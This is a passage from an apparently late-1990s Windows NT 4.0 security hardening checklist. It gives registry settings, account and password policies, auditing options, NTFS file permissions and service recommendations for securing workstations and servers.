  2649. precautions you have taken within your normal version of Windows NT might be circumvented.
  2650.  
  2651. In general, you should install only those operating systems that you want to be used on the 
  2652. computer you are setting up. For a highly secure system, this will probably mean installing one 
  2653. version of Windows NT. However, you must still protect the CPU physically to ensure that no 
  2654. other operating system is loaded. Depending on your circumstances, you might choose to 
  2655. remove the floppy drive or drives. In some computers you can disable booting from the floppy 
  2656. drive by setting switches or jumpers inside the CPU. If you use hardware settings to disable 
  2657. booting from the floppy drive, you might want to lock the computer case (if possible) or lock the 
  2658. machine in a cabinet with a hole in the front to provide access to the floppy drive. If the CPU is in 
  2659. a locked area away from the keyboard and monitor, drives cannot be added or hardware settings 
  2660. changed for the purpose of starting from another operating system.   Another simple setting is to 
  2661. edit the boot.ini file such that the boot timeout is 0 seconds; this will make hard for the user to 
  2662. boot to another system if one exists.
  2663.  
  2664. On many hardware platforms, the system can be protected using a power-on password. A power-
  2665. on password prevents unauthorized personnel from starting an operating system other than 
  2666. Windows NT, which would compromise system security. Power-on passwords are a function of 
  2667. the computer hardware, not the operating system software. Therefore the procedure for setting 
  2668. up the power-on password depends on the type of computer and is available in the vendor's 
  2669. documentation supplied with the system.
  2670.  
  2671. [6.0.8] Security Steps for an NT Operating System
  2672.  
  2673. [6.0.9] Install Latest Service Pack and applicable hot-fixes
  2674.     Completed    Not implemented    Not applicable    
  2675. STATUS                
  2676.  
  2677. Install the latest recommended Microsoft Service Pack for the NT operating system.  The 
  2678. applicable hot-fixes should also be installed.  Generally not all hot-fixes are required.  Also the 
  2679. order in which hot-fixes are installed is very important, as later hot-fixes sometimes supersede 
  2680. earlier hot-fixes.
  2681.  
  2682. ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40
  2683.  
  2684. [6.1.0] Display a Legal Notice Before Log On
  2685.     Completed    Not implemented    Not applicable    
  2686. STATUS                
  2687. Windows NT can display a message box with the caption and text of your choice before a user 
  2688. logs on. Many organizations use this message box to display a warning message that notifies 
  2689. potential users that they can be held legally liable if they attempt to use the computer without 
  2690. having been properly authorized to do so. The absence of such a notice could be construed as an 
  2691. invitation, without restriction, to enter and browse the system.
  2692.  
  2693. The log on notice can also be used in settings (such as an information kiosk) where users might 
  2694. require instruction on how to supply a user name and password for the appropriate account.
  2695. To display a legal notice, use the Registry Editor to create or assign the following registry key 
  2696. values on the workstation to be protected:
  2697.  
  2698. Hive:    HKEY_LOCAL_MACHINE\SOFTWARE    
  2699. Key:    \Microsoft\Windows NT\Current Version\Winlogon    
  2700. Name:    LegalNoticeCaption    
  2701. Type:    REG_SZ    
  2702. Value:    Whatever you want for the title of the message box    
  2703. Hive:    HKEY_LOCAL_MACHINE\SOFTWARE    
  2704. Key:    Microsoft\Windows NT\Current Version\Winlogon    
  2705. Name:    LegalNoticeText    
  2706. Type:    REG_SZ    
  2707. Value:    Whatever you want for the text of the message box    
  2708.  
  2709. The changes take effect the next time the computer is started. You might want to update the 
  2710. Emergency Repair Disk to reflect these changes.
  2711. Example:
  2712. Welcome to the XYZ Information Kiosk
  2713. Log on using account name Guest and password XYZCorp. 
  2714. Authorized Users Only
  2715. This system is for the use of authorized users only. Individuals using this computing system 
  2716. without authority, or in excess of their authority, are subject to having all of their activities on this 
  2717. system monitored and recorded by system personnel.  In the course of monitoring individuals 
  2718. improperly using this system, or in the course of system maintenance, the activities of authorized 
  2719. users may be monitored.  Anyone using this system expressly consents to such monitoring and is 
  2720. advised that if such monitoring reveals possible evidence of criminal activity, system personnel 
  2721. may provide the evidence of such monitoring to law enforcement officials.
  2722.  
  2723. [6.1.1] Rename Administrative Accounts
  2724.     Completed    Not implemented    Not applicable    
  2725. STATUS                
  2726.  
  2727. It is a good idea to rename the built-in Administrator account to something less obvious. This 
  2728. powerful account is the one account that can never be locked out due to repeated failed log on 
  2729. attempts, and consequently is attractive to hackers who try to break in by repeatedly guessing 
  2730. passwords. By renaming the account, you force hackers to guess the account name as well as 
  2731. the password.
  2732.  
  2733. Make the following changes:
  2734. ? Remove right "LOG ON FROM THE NETWORK" from Administrator's group
  2735. ? Add right "LOG ON FROM THE NETWORK" for individuals who are administrators
  2736. ? Enable auditing of failed login attempts
  2737. ? Lock out users for more than 5 login failures
  2738. ? Require password of at least 8 characters
  2739.  
  2740.  
  2741. [6.1.2] Disable Guest Account
  2742.     Completed    Not implemented    Not applicable    
  2743. STATUS                
  2744.  
  2745. Disable Guest account and remove all rights (note:  if using with Internet Information Server then 
  2746. ensure that web user account has permission to access appropriate directories and the right to 
  2747. "LOG ON LOCALLY"
  2748.  
  2749. Limited access can be permitted for casual users through the built-in Guest account. If the 
  2750. computer is for public use, the Guest account can be used for public log-ons. Prohibit Guest from 
  2751. writing or deleting any files, directories, or registry keys (with the possible exception of a directory 
  2752. where information can be left).
  2753. In a standard security configuration, a computer that allows Guest access can also be used by 
  2754. other users for files that they don't want accessible to the general public. These users can log on 
  2755. with their own user names and access files in directories on which they have set the appropriate 
  2756. permissions. They will want to be especially careful to log off or lock the workstation before they 
  2757. leave it.
  2758.  
  2759. [6.1.3] Logging Off or Locking the Workstation
  2760.     Completed    Not implemented    Not applicable    
  2761. STATUS                
  2762.  
  2763. Users should either log off or lock the workstation if they will be away from the computer for any 
  2764. length of time. Logging off allows other users to log on (if they know the password to an account); 
  2765. locking the workstation does not. The workstation can be set to lock automatically if it is not used 
  2766. for a set period of time by using any 32-bit screen saver with the Password Protected option. For 
  2767. information about setting up screen savers, see Help.
  2768.  
  2769. ? Install password protected screen saver that automatically starts if workstation is not 
  2770. used for 5-15 minutes
  2771.  
  2772. [6.1.4] Allowing Only Logged-On Users to Shut Down the Computer
  2773.     Completed    Not implemented    Not applicable    
  2774. STATUS                
  2775.  
  2776. Normally, you can shut down a computer running Windows NT Workstation without logging on by 
  2777. choosing Shutdown in the Logon dialog box. This is appropriate where users can access the 
  2778. computer's operational switches; otherwise, they might tend to turn off the computer's power or 
  2779. reset it without properly shutting down Windows NT Workstation. However, you can remove this 
  2780. feature if the CPU is locked away. (This step is not required for Windows NT Server, because it is 
  2781. configured this way by default.)
  2782.  
  2783. To require users to log on before shutting down the computer, use the Registry Editor to create or 
  2784. assign the following Registry key value:
  2785.  
  2786. Hive:    HKEY_LOCAL_MACHINE\SOFTWARE    
  2787. Key:    \Microsoft\Windows NT\Current Version\Winlogon    
  2788. Name:    ShutdownWithoutLogon    
  2789. Type:    REG_SZ    
  2790. Value:    0    
  2791.  
  2792. The changes will take effect the next time the computer is started. You might want to update the 
  2793. Emergency Repair Disk to reflect these changes.
  2794.  
  2795. [6.1.5] Hiding the Last User Name
  2796.     Completed    Not implemented    Not applicable    
  2797. STATUS                
  2798.  
  2799. By default, Windows NT places the user name of the last user to log on the computer in the User 
  2800. name text box of the Logon dialog box. This makes it more convenient for the most frequent user 
  2801. to log on. To help keep user names secret, you can prevent Windows NT from displaying the user 
  2802. name from the last log on. This is especially important if a computer that is generally accessible is 
  2803. being used for the (renamed) built-in Administrator account.
  2804.  
  2805.  
  2806.  
  2807. To prevent display of a user name in the Logon dialog box, use the Registry Editor to create or 
  2808. assign the following registry key value:
  2809.  
  2810. Hive:    HKEY_LOCAL_MACHINE\SOFTWARE    
  2811. Key:    \Microsoft\Windows NT\Current Version\Winlogon    
  2812. Name:    DontDisplayLastUserName    
  2813. Type:    REG_SZ    
  2814. Value:    1    
  2815.  
  2816. [6.1.6] Restricting Anonymous network access to Registry
  2817.     Completed    Not implemented    Not applicable    
  2818. STATUS                
  2819.  
  2820. Windows NT version 4.0 Service Pack 3 includes a security enhancement that restricts 
  2821. anonymous (null session) logons when they connect to specific named pipes including the one for 
  2822. Registry.
  2823. There is a registry key value that defines the list of named pipes that are "exempt" from this 
  2824. restriction.  The key value is:
  2825.  
  2826. Hive:    HKEY_LOCAL_MACHINE\SYSTEM    
  2827. Key:    System\CurrentControlSet\Services\LanManServer\Parameters    
  2828. Name:    NullSessionPipes    
  2829. Type:    REG_MULTI_SZ    
  2830. Value:    Add or Remove names from the list as required by the configuration.    
  2831.  
  2832. Please refer to Knowledge Base article Q143138 for more details.
  2833.  
  2834. [6.1.7] Restricting Anonymous network access to lookup account names and network 
  2835. shares
  2836.     Completed    Not implemented    Not applicable    
  2837. STATUS                
  2838.  
  2839. Windows NT has a feature where anonymous logon users can list domain user names and 
  2840. enumerate share names. Customers who want enhanced security have requested the ability to 
  2841. optionally restrict this functionality. Windows NT 4.0 Service Pack 3 and a hotfix for Windows NT 
  2842. 3.51 provide a mechanism for administrators to restrict the ability for anonymous logon users 
  2843. (also known as NULL session connections) to list account names and enumerate share names. 
  2844. Listing account names from Domain Controllers is required by the Windows NT ACL editor, for 
  2845. example, to obtain the list of users and groups to select who a user wants to grant access rights. 
  2846. Listing account names is also used by Windows NT Explorer to select from list of users and 
  2847. groups to grant access to a share.
  2848. The registry key value to set for enabling this feature is:
  2849.  
  2850.  
  2851. Hive:    HKEY_LOCAL_MACHINE\SYSTEM    
  2852. Key:    System\CurrentControlSet\Control\LSA    
  2853. Name:    RestrictAnonymous    
  2854. Type:    REG_DWORD    
  2855. Value:    1.    
  2856.  
  2857. This enhancement is part of Windows NT version 4.0 Service Pack 3.  A hot fix for it is also 
  2858. provided for Windows NT version 3.51.  Please refer to Knowledge Base article Q143474 for 
  2859. more details on this.
  2860.  
  2861. [6.1.8] Enforcing strong user passwords
  2862.     Completed    Not implemented    Not applicable    
  2863. STATUS                
  2864.  
  2865. Windows NT 4.0 Service Pack 2 and later includes a password filter DLL file (Passfilt.dll) that lets 
  2866. you enforce stronger password requirements for users. Passfilt.dll provides enhanced security 
  2867. against "password guessing" or "dictionary attacks" by outside intruders.
  2868.  
  2869. Passfilt.dll implements the following password policy: 
  2870. ? Passwords must be at least six (6) characters long. (The minimum password length can be 
  2871. increased further by setting a higher value in the Password Policy for the domain).
  2872. ? Passwords must contain characters from at least three (3) of the following four (4) classes: 
  2873. Description            Examples
  2874. English upper case letters        A, B, C, ... Z
  2875. English lower case letters        a, b, c, ... z
  2876. Westernized Arabic numerals    0, 1, 2, ... 9
  2877. Non-alphanumeric ("special characters") such as punctuation symbols
  2878. ? Passwords may not contain your user name or any part of your full name.
  2879.  
  2880. These requirements are hard-coded in the Passfilt.dll file and cannot be changed through the 
  2881. user interface or registry. If you wish to raise or lower these requirements, you may write your 
  2882. own .dll and implement it in the same fashion as the Microsoft version that is available with 
  2883. Windows NT 4.0 Service Pack 2.
  2884.  
  2885. To use Passfilt.Dll, the administrator must configure the password filter DLL in the system registry 
  2886. on all domain controllers.  This can be done as follows with the following registry key value:
  2887.  
  2888. Hive:    HKEY_LOCAL_MACHINE\SYSTEM    
  2889. Key:    System\CurrentControlSet\Control\LSA    
  2890. Name:    Notification Packages    
  2891. Type:    REG_MULTI_SZ    
  2892. Value:    Add string "PASSFILT"  (do not remove existing ones).    
  2893.  
  2894. [6.1.9] Disabling LanManager Password Hash Support
  2895.     Completed    Not implemented    Not applicable    
  2896. STATUS                
  2897.  
  2898. Windows NT supports the following two types of challenge/response authentication:
  2899. ? LanManager (LM) challenge/response 
  2900. ? Windows NT challenge/response
  2901.  
  2902. To allow access to servers that only support LM authentication, Windows NT clients currently 
  2903. send both authentication types. Microsoft developed a patch that allows clients to be configured 
  2904. to send only Windows NT authentication.  This removes the use of LM challenge/response 
  2905. messages from the network.
  2906. Applying this hot fix, configures the following registry key:
  2907.  
  2908. Hive:    HKEY_LOCAL_MACHINE\SYSTEM    
  2909. Key:    System\CurrentControlSet\Control\LSA    
  2910. Name:    LMCompatibilityLevel    
  2911. Type:    REG_DWORD    
  2912. Value:    0,1,2  (Default 0)    
  2913.  
  2914. Setting the value to:
  2915. ? 0 û Send both Windows NT and LM password forms.
  2916. ? 1 û Send Windows NT and LM password forms only if the server requests it.
  2917. ? 2 û Never send LM password form.
  2918.  
  2919. If a Windows NT client selects level 2, it cannot connect to servers that support only LM 
  2920. authentication, such as Windows 95 and Windows for Workgroups.
  2921.  
  2922. For more complete information on this hot fix, please refer to Knowledge Base article number 
  2923. Q147706.
  2924.  
  2925. [6.2.0] Wiping the System Page File during clean system shutdown
  2926.     Completed    Not implemented    Not applicable    
  2927. STATUS                
  2928.  
  2929. Virtual Memory support of Windows NT uses a system page file to swap pages from memory of 
  2930. different processes onto disk when they are not being actively used.  On a running system, this 
  2931. page file is opened exclusively by the operating system and hence is well-protected.  However, 
  2932. systems that are configured to allow booting to other operating systems, may want to ensure that 
  2933. system page file is wiped clean when Windows NT shuts down.  This ensures that sensitive 
  2934. information from process memory that may have made into the page file is not available to a 
  2935. snooping user.  This can be achieved by setting up the following key:
  2936.  
  2937. Hive:    HKEY_LOCAL_MACHINE\SYSTEM    
  2938. Key:    System\CurrentControlSet\Control\SessionManager\Memory Management    
  2939. Name:    ClearPageFileAtShutdown    
  2940. Type:    REG_DWORD    
  2941. Value:    1    
  2942.  
  2943. Note that, this protection works only during a clean shutdown, therefore it is important that 
  2944. untrusted users do not have ability to power off or reset the system manually.
  2945.  
  2946. [6.2.1] Protecting the Registry
  2947.     Completed    Not implemented    Not applicable    
  2948. STATUS                
  2949.  
  2950. All the initialization and configuration information used by Windows NT is stored in the registry. 
  2951. Normally, the keys in the registry are changed indirectly, through the administrative tools such as 
  2952. the Control Panel. This method is recommended. The registry can also be altered directly, with 
  2953. the Registry Editor; some keys can be altered in no other way.
  2954.  
  2955. The Registry Editor supports remote access to the Windows NT registry. To restrict network 
  2956. access to the registry, use the Registry Editor to create the following registry key:
  2957.  
  2958. Hive:    HKEY_LOCAL_MACHINE    
  2959. Key:    \CurrentcontrolSet\Control\SecurePipeServers    
  2960. Name:    \winreg    
  2961.  
  2962. The security permissions set on this key define which users or groups can connect to the system 
  2963. for remote registry access. The default Windows NT Workstation installation does not define this 
  2964. key and does not restrict remote access to the registry. Windows NT Server permits only 
  2965. administrators remote access to the registry.
  2966.  
  2967. [6.2.2] Secure EventLog Viewing
  2968.     Completed    Not implemented    Not applicable    
  2969. STATUS                
  2970.  
  2971. Default configuration allows guests and null log ons ability to view event logs (system, and 
  2972. application logs).  Security log is protected from guest access by default, it is viewable by users 
  2973. who have "Manage Audit Logs" user right.  The Event log services use the following key to 
  2974. restrict guest access to these logs:
  2975.  
  2976. Hive:    HKEY_LOCAL_MACHINE    
  2977. Key:    \System\CurrentControlSet\Services\EventLog\[LogName]    
  2978. Name:    RestrictGuestAccess    
  2979. Type     REG_DWORD    
  2980. Value:    1    
  2981.  
  2982. Set the value for each of the logs to 1.  The change takes effect on next reboot.  Needless to say 
  2983. that you will have to change the security on this key to disallow everyone other than 
  2984. Administrators and System any access because otherwise malicious users can reset these 
  2985. values.
  2986.  
  2987. [6.2.3] Secure Print Driver Installation
  2988.     Completed    Not implemented    Not applicable    
  2989. STATUS                
  2990.  
  2991. Registry key AddPrinterDrivers under HKEY_LOCAL_MACHINE\System\CurrentControlSet\ 
  2992. Control\Print\Providers\LanMan Print Services\Servers, Key value AddPrinterDrivers 
  2993. (REG_DWORD) is used to control who can add printer drivers using the print folder.  This key 
  2994. value should be set to 1 to enable the system spooler to restrict this operation to administrators 
  2995. and print operators (on server) or power users (on workstation).
  2996.  
  2997. Hive:    HKEY_LOCAL_MACHINE    
  2998. Key:    System\CurrentcontrolSet\Control\Print\Providers\LanMan Print Services\Servers    
  2999. Name:    AddPrintDrivers    
  3000. Type     REG_DWORD    
  3001. Value:    1    
  3002.  
  3003. [6.2.4] The Schedule Service (AT Command)
  3004.     Completed    Not implemented    Not applicable    
  3005. STATUS                
  3006.  
  3007. The Schedule service (also known as the AT command) is used to schedule tasks to run 
  3008. automatically at a preset time. Because the scheduled task is run in the context run by the 
  3009. Schedule service (typically the operating system's context), this service should not be used in a 
  3010. highly secure environment. 
  3011. By default, only administrators can submit AT commands. To allow system operators to also 
  3012. submit AT commands, use the Registry Editor to create or assign the following registry key value:
  3013.  
  3014. Hive:    HKEY_LOCAL_MACHINE\SYSTEM    
  3015. Key:    \CurrentControlSet\Control\Lsa    
  3016. Name:    Submit Control    
  3017. Type:    REG_DWORD    
  3018. Value:    1    
  3019.  
  3020. There is no way to allow anyone else to submit AT commands.  Protecting the registry as 
  3021. explained earlier restricts direct modification of the registry key using the registry editor.  Access 
  3022. to the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\ Services\Schedule 
  3023. should also be restricted to only those users/groups (preferrably Administrators only) that are 
  3024. allowed to submit jobs to the schedule service.
  3025. The changes will take effect the next time the computer is started. You might want to update the 
  3026. Emergency Repair Disk to reflect these changes.
  3027.  
  3028. [6.2.5] Secure File Sharing
  3029.     Completed    Not implemented    Not applicable    
  3030. STATUS                
  3031.  
  3032. The native Windows NT file sharing service is provided using the SMB-based server and 
  3033. redirector services.  Even though only administrators can create shares, the default security 
  3034. placed on the share allows Everyone full control access.  These permissions are controlling 
  3035. access to files on down level file systems like FAT which do not have security mechanisms built 
  3036. in.  Shares on NTFS enforce the security on the underlying directory it maps to and it is 
  3037. recommended that proper security be put via NTFS and not via the file sharing service.
  3038.  
  3039. Also note that the share information resides in the registry which also needs to be protected as 
  3040. explained in a section earlier.
  3041.  
  3042. ? Service Pack 3 for Windows NT version 4.0 includes several enhancements to SMB based 
  3043. file sharing protocol.  These are:It supports mutual authentication to counter man-in-the-
  3044. middle attacks.
  3045. ? It supports message authentication to prevent active message attacks.
  3046.  
  3047. These are provided by incorporating message signing into SMB packets which are verified by 
  3048. both server and client ends.  There are registry key settings to enable SMB signatures on each 
  3049. side.  To ensure that SMB server responds to clients with message signing only, configure the 
  3050. following key value:
  3051.  
  3052. Hive:    HKEY_LOCAL_MACHINE\SYSTEM    
  3053. Key:    System\CurrentControlSet\Services\LanManServer\Parameters    
  3054. Name:    RequireSecuritySignature    
  3055. Type:    REG_DWORD    
  3056. Value:    1    
  3057.  
  3058. Setting this value ensures that the Server communicates with only those clients that are aware of 
  3059. message signing.  Note that this means that installations that have multiple versions of client 
  3060. software, older versions will fail to connect to servers that have this key value configured.
  3061.  
  3062. Similarly, security conscious clients can also decide to communicate with servers that support 
  3063. message signing and no one else.
  3064.  
  3065. Hive:    HKEY_LOCAL_MACHINE\SYSTEM    
  3066. Key:    System\CurrentControlSet\Services\Rdr\Parameters    
  3067. Name:    RequireSecuritySignature    
  3068. Type:    REG_DWORD    
  3069. Value:    1    
  3070.  
  3071. Note that setting this key value implies that the client will not be able to connect to servers which 
  3072. do not have message signing support.
  3073.  
  3074. Please refer to Knowledge Base article Q161372 for further details on SMB message signing 
  3075. enhancements.
  3076.  
  3077. Windows NT version 4.0 Service Pack 3 also includes another enhancement to SMB file sharing 
  3078. protocol such that by default you are unable to connect to SMB servers (such as Samba or 
  3079. Hewlett-Packard (HP) LM/X or LAN Manager for UNIX) with an unencrypted (plain text) 
  3080. password.  This protects from sending clear text forms of passwords over the wire.  Please refer 
  3081. to Knowledge base article Q166730 if you have any reasons to allow clients to send unencrypted 
  3082. passwords over the wire.
  3083.  
  3084. Additionally, customers may want to delete the administrative shares ($ shares) if they are not 
  3085. needed on an installation.  This can be accomplished using "net share" command.  For example:
  3086. C:\> net share admin$ /d
  3087.  
  3088. [6.2.6] Auditing
  3089. Auditing can inform you of actions that could pose a security risk and also identify the user 
  3090. accounts from which audited actions were taken. Note that auditing only tells you what user 
  3091. accounts were used for the audited events. If passwords are adequately protected, this in turn 
  3092. indicates which user attempted the audited events. However, if a password has been stolen or if 
  3093. actions were taken while a user was logged on but away from the computer, the action could 
  3094. have been initiated by someone other than the person to whom the user account is assigned
  3095. When you establish an audit policy you'll need to weigh the cost (in disk space and CPU cycles) 
  3096. of the various auditing options against the advantages of these options. You'll want to at least 
  3097. audit failed log on attempts, attempts to access sensitive data, and changes to security settings. 
  3098. Here are some common security threats and the type of auditing that can help track them:
  3099.  
  3100. [6.2.7] Threat    Action    
  3101. Hacker-type break-in using random passwords    Enable failure auditing for log on and log off 
  3102. events.    
  3103. Break-in using stolen password    Enable success auditing for log on and log off events. The log 
  3104. entries will not distinguish between the real users and the phony ones. What you are looking for 
  3105. here is unusual activity on user accounts, such as log ons at odd hours or on days when you 
  3106. would not expect any activity.    
  3107. Misuse of administrative privileges by authorized users    Enable success auditing for use of user 
  3108. rights; for user and group management, for security policy changes; and for restart, shutdown, 
  3109. and system events. (Note: Because of the high volume of events that would be recorded, 
  3110. Windows NT does not normally audit the use of the Backup Files And Directories and the Restore 
  3111. Files And Directories rights. Appendix B, "Security In a Software Development Environment," 
  3112. explains how to enable auditing of the use of these rights.)    
  3113. Virus outbreak    Enable success and failure write access auditing for program files such as files 
  3114. with .exe and .dll extensions. Enable success and failure process tracking auditing. Run suspect 
  3115. programs and examine the security log for unexpected attempts to modify program files or 
  3116. creation of unexpected processes. Note that these auditing settings generate a large number of 
  3117. event records during routine system use. You should use them only when you are actively 
  3118. monitoring the system log.    
  3119. Improper access to sensitive files    Enable success and failure auditing for file- and object-
  3120. access events, and then use File Manager to enable success and failure auditing of read and 
  3121. write access by suspect users or groups for sensitive files.    
  3122. Improper access to printers    Enable success and failure auditing for file- and object-access 
  3123. events, and then use Print Manager to enable success and failure auditing of print access by 
  3124. suspect users or groups for the printers.    
  3125.  
  3126. [6.2.8] Enabling System Auditing
  3127.     Completed    Not implemented    Not applicable    
  3128. STATUS                
  3129.  
  3130. Enabling system auditing can inform you of actions that pose security risks and possibly detect 
  3131. security breaches.
  3132. To activate security event logging, follow these steps: 
  3133. 1.    Log on as the administrator of the local workstation. 
  3134. 2.    Click the Start button, point to Programs, point to Administrative Tools, and then click User 
  3135. Manager. 
  3136. 3.    On the Policies menu, click Audit. 
  3137. 4.    Click the Audit These Events option. 
  3138. 5.    Enable the options you want to use. The following options are available: 
  3139. ò    Log on/Log off: Logs both local and remote resource logins.
  3140. ò    File and Object Access: File, directory, and printer access.
  3141. ò    Note: Files and folders must reside on an NTFS partition for security logging to be 
  3142. enabled. Once the auditing of file and object access has been enabled, use Windows 
  3143. NT Explorer to select auditing for individual files and folders.
  3144. ò    User and Group Management: Any user accounts or groups created, changed, or 
  3145. deleted. Any user accounts that are renamed, disabled, or enabled. Any passwords set 
  3146. or changed.
  3147. ò    Security Policy Changes: Any changes to user rights or audit policies.
  3148. ò    Restart, Shutdown, And System: Logs shutdowns and restarts for the local workstation.
  3149. ò    Process Tracking: Tracks program activation, handle duplication, indirect object 
  3150. access, and process exit.
  3151. 6.    Click the Success check box to enable logging for successful operations, and the Failure 
  3152. check box to enable logging for unsuccessful operations.
  3153. 7.Click OK.
  3154.  
  3155. Note that Auditing is a "detection" capability rather than "prevention" capability.  It will help you 
  3156. discover security breaches after they occur and therefore should always be consider in addition to 
  3157. various preventive measures.
  3158.  
  3159. [6.2.9] Auditing Base Objects
  3160.     Completed    Not implemented    Not applicable    
  3161. STATUS                
  3162.  
  3163. To enable auditing on base system objects, add the following key value to the registry key 
  3164.  
  3165. Hive:    HKEY_LOCAL_MACHINE\SYSTEM    
  3166. Key:    System\CurrentControlSet\Control\Lsa    
  3167. Name:    AuditBaseObjects    
  3168. Type:    REG_DWORD    
  3169. Value:    1    
  3170.  
  3171. Note that simply setting this key does not start generating audits.  The administrator will need to 
  3172. turn auditing on for the "Object Access" category using User Manager.  This registry key setting 
  3173. tells Local Security Authority that base objects should be created with a default system audit 
  3174. control list.
  3175.  
  3176. [6.3.0] Auditing of Privileges
  3177.     Completed    Not implemented    Not applicable    
  3178. STATUS                
  3179.  
  3180. Certain privileges in the system are not audited by default even when auditing on privilege use is 
  3181. turned on.  This is done to control the growth of audit logs.  The privileges are:
  3182. 1.    Bypass traverse checking (given to everyone).
  3183. 2.    Debug programs (given only to administrators)
  3184. 3.    Create a token object (given to no one)
  3185. 4.    Replace process level token (given to no one)
  3186. 5.    Generate Security Audits (given to no one)
  3187. 6.    Backup files and directories (given to administrators and backup operators)
  3188. 7.    Restore files and directories (given to administrators and backup operators)
  3189.  
  3190. 1 is granted to everyone so is meaningless from auditing perspective.  2 is not used in a working 
  3191. system and can be removed from administrators group.  3, 4 and 5 are not granted to any user or 
  3192. group and are highly sensitive privileges and should not be granted to anyone.  However 6 and 7 
  3193. are used during normal system operations and are expected to be used.  To enable auditing of 
  3194. these privileges, add the following key value to the registry key 
  3195.  
  3196. Hive:    HKEY_LOCAL_MACHINE\SYSTEM    
  3197. Key:    System\CurrentControlSet\Control\Lsa    
  3198. Name:    FullPrivilegeAuditing    
  3199. Type:    REG_BINARY    
  3200. Value:    1    
  3201.  
  3202. Note that these privileges are not audited by default because backup and restore is a frequent 
  3203. operation and this privilege is checked for every file and directory backed or restored, which can 
  3204. lead to thousands of audits filling up the audit log in no time.  Carefully consider turning on 
  3205. auditing on these privilege uses.
  3206.  
  3207.  
  3208.  
  3209.  
  3210. [6.3.1] Protecting Files and Directories
  3211.     Completed    Not implemented    Not applicable    
  3212. STATUS                
  3213.  
  3214. The NTFS file system provides more security features than the FAT system and should be used 
  3215. whenever security is a concern. The only reason to use FAT is for the boot partition of an ARC-
  3216. compliant RISC system. A system partition using FAT can be secured in its entirety using the 
  3217. Secure System Partition command on the Partition menu of the Disk Administrator utility.
  3218.  
  3219. Among the files and directories to be protected are those that make up the operating system 
  3220. software itself. The standard set of permissions on system files and directories provide a 
  3221. reasonable degree of security without interfering with the computer's usability. For high-level 
  3222. security installations, however, you might want to additionally set directory permissions to all 
  3223. subdirectories and existing files, as shown in the following list, immediately after WindowsNT is 
  3224. installed. Be sure to apply permissions to parent directories before applying permissions to 
  3225. subdirectories.
  3226.  
  3227. First apply the following using the ACL editor:
  3228.  
  3229. Directory    Permissions    Complete    
  3230. \WINNT and all subdirectories under it.        Administrators: Full Control
  3231. CREATOR OWNER: Full Control
  3232. Everyone: Read
  3233. SYSTEM: Full Control        
  3234.  
  3235. Now, within the \WINNT tree, apply the following exceptions to the general security:
  3236.  
  3237. Directory    Permissions    Complete    
  3238. \WINNT\REPAIR        Administrators: Full Control        
  3239. \WINNT\SYSTEM32\CONFIG        Administrators: Full Control
  3240. CREATOR OWNER: Full Control
  3241. Everyone: List
  3242. SYSTEM: Full Control        
  3243. \WINNT\SYSTEM32\SPOOL        Administrators: Full Control
  3244. CREATOR OWNER: Full Control
  3245. Everyone: Read
  3246. Power Users: Change
  3247. SYSTEM: Full Control        
  3248. \WINNT\COOKIES
  3249. \WINNT\FORMS
  3250. \WINNT\HISTORY
  3251. \WINNT\OCCACHE
  3252. \WINNT\PROFILES
  3253. \WINNT\SENDTO
  3254. \WINNT\Temporary Internet Files    Administrators: Full Control
  3255. CREATOR OWNER: Full Control
  3256. Everyone: Special Directory Access û Read, Write and Execute, Special File Access û None 
  3257. System : Full Control        
  3258.  
  3259. Several critical operating system files exist in the root directory of the system partition on Intel 
  3260. 80486 and Pentium-based systems. In high-security installations you might want to assign the 
  3261. following permissions to these files:
  3262.  
  3263. File    C2-Level Permissions    Complete    
  3264. \Boot.ini, \Ntdetect.com, \Ntldr        Administrators: Full Control
  3265. SYSTEM: Full Control        
  3266. \Autoexec.bat, \Config.sys    Everybody: Read
  3267. Administrators: Full Control
  3268. SYSTEM: Full Control        
  3269. \TEMP directory    Administrators: Full Control
  3270. SYSTEM: Full Control
  3271. CREATOR OWNER: Full Control
  3272. Everyone: Special Directory Access û Read, Write and Execute, Special File Access û None     
  3273.     
  3274.  
  3275. To view these files in File Manager, choose the By File Type command from the View menu, 
  3276. then select the Show Hidden/System Files check box in the By File Type dialog box.
  3277.  
  3278. Note that the protections mentioned here are over and above those mentioned earlier in the 
  3279. standard security level section, which included having only NTFS partitions (except the boot 
  3280. partition in case of RISC machines).  The FAT boot partition for RISC systems can be configured 
  3281. using the Secure System Partition command on the Partition menu of the Disk Administrator 
  3282. utility. 
  3283.  
  3284. It is also highly advisable that Administrators manually scan the permissions on various partitions 
  3285. on the system and ensures that they are appropriately secured for various user accesses in their 
  3286. environment.
  3287.  
  3288. [6.3.2] Services and NetBIOS Access From Internet
  3289. For a stand-alone WEB or firewall server, consider the following guidelines
  3290.  
  3291. The following services should NOT be started:
  3292.  
  3293. Service    Installed    Not Installed    
  3294. Alerter            
  3295. ClipBook Server            
  3296. Computer Browser            
  3297. DHCP Client            
  3298. Directory Replicator            
  3299. Messenger            
  3300. Net Logon            
  3301. Network DDE            
  3302. Network DDE DSDM            
  3303. Plug and Play            
  3304. Remote Procedure Call (RPC) Locator            
  3305. Server            
  3306. SNMP Trap Service            
  3307. Spooler "unless print spooling is needed"            
  3308. TCP/IP NetBIOS Helper            
  3309. Telephony Service            
  3310. Workstation            
  3311.  
  3312. The following services MUST be started:
  3313.  
  3314. Service    Installed    Not Installed    
  3315. EventLog            
  3316. FTP Publishing Service (for FTP server)            
  3317. Gopher Publishing Service (for Gopher server)            
  3318. NT LM Security Support Provider            
  3319. Remote Procedure Call (RPC) Service            
  3320. SNMP            
  3321. World Wide Web Publishing Service (for WWW server)            
  3322.  
  3323. The following services MAY be started if needed:
  3324.  
  3325. Service    Installed    Not Installed    
  3326. Schedule            
  3327. UPS            
  3328.  
  3329. Disconnect the "NetBIOS Interface", the "Server" and the "Workstation" from the "WINS 
  3330. Client(TCP/IP)"
  3331.  
  3332. [6.3.3] Alerter and Messenger Services 
  3333.  
  3334. The Windows NT alerter and messenger services enable a user to send pop-up messages to 
  3335. other users. A network administrator may consider this an unnecessary risk due to the fact that 
  3336. these types of services have been known to be used in social engineering attacks. Some users 
  3337. might actually respond to a request to change their password, create a share, or otherwise open 
  3338. holes in the network. A side effect of running this service is that it causes the name of the current 
  3339. user to be broadcast in the NetBIOS name table, which gives the attacker a valid user name to 
  3340. use in brute force attempts. 
  3341.  
  3342. [6.3.4] Unbind Unnecessary Services from Your Internet Adapter Cards 
  3343.  
  3344.     Completed    Not implemented    Not applicable    
  3345. STATUS                
  3346.  
